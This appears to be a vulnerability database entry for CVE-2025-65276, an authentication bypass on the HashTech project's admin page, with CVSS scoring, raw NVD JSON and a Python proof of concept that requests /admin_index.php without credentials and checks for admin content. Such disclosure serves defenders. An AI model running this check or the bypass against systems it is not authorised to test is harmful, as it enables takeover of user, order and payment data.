Security Vulnerability Report
中文
CVE-2025-65276 CVSS 9.8 CRITICAL

CVE-2025-65276

Published: 2025-11-26 20:15:50
Last Modified: 2025-12-30 15:34:17

Description

An unauthenticated administrative access vulnerability exists in the open-source HashTech project (https://github.com/henzljw/hashtech) 1.0 thru commit 5919decaff2681dc250e934814fc3a35f6093ee5 (2021-07-02). Due to missing authentication checks on /admin_index.php, an attacker can directly access the admin dashboard without valid credentials. This allows full administrative control including viewing/modifying user accounts, managing orders, changing payments, and editing product listings. Successful exploitation can lead to information disclosure, data manipulation, and privilege escalation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:henzljw:hashtech:*:*:*:*:*:*:*:* - VULNERABLE
HashTech 1.0 至 commit 5919decaff2681dc250e934814fc3a35f6093ee5 (2021-07-02)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65276 PoC - HashTech Unauthenticated Admin Access This PoC demonstrates the authentication bypass vulnerability in HashTech project where /admin_index.php can be accessed without any credentials. """ import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-65276 """ # Target the admin_index.php page directly admin_path = "/admin_index.php" vuln_url = target_url.rstrip('/') + admin_path headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } print(f"[*] Testing target: {vuln_url}") try: # Send request without any authentication cookies response = requests.get(vuln_url, headers=headers, timeout=10, verify=False) # Check if we got admin access (status 200 and contains admin indicators) if response.status_code == 200: admin_indicators = ['dashboard', 'admin', 'user management', 'orders', 'products', 'settings'] response_lower = response.text.lower() if any(indicator in response_lower for indicator in admin_indicators): print("[!] VULNERABLE: Admin panel accessible without authentication!") print(f"[!] Received response with length: {len(response.text)} bytes") print("[!] Full administrative control possible") return True print("[*] Target may not be vulnerable or admin page not found") print(f"[*] Response status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65276-poc.py <target_url>") print("Example: python3 cve-2025-65276-poc.py http://192.168.1.100/hashtech") sys.exit(1) target = sys.argv[1] check_vulnerability(target) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65276", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:49.660", "lastModified": "2025-12-30T15:34:16.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated administrative access vulnerability exists in the open-source HashTech project (https://github.com/henzljw/hashtech) 1.0 thru commit 5919decaff2681dc250e934814fc3a35f6093ee5 (2021-07-02). Due to missing authentication checks on /admin_index.php, an attacker can directly access the admin dashboard without valid credentials. This allows full administrative control including viewing/modifying user accounts, managing orders, changing payments, and editing product listings. Successful exploitation can lead to information disclosure, data manipulation, and privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:henzljw:hashtech:*:*:*:*:*:*:*:*", "versionEndIncluding": "2021-07-02", "matchCriteriaId": "BEB49649-CE3A-40D3-A3DE-81293E8D2098"}]}]}], "references": [{"url": "https://gist.github.com/whoisrushi/c3bfcd1adf96d80952edbd03d0310836", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/whoisrushi/c3bfcd1adf96d80952edbd03d0310836", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}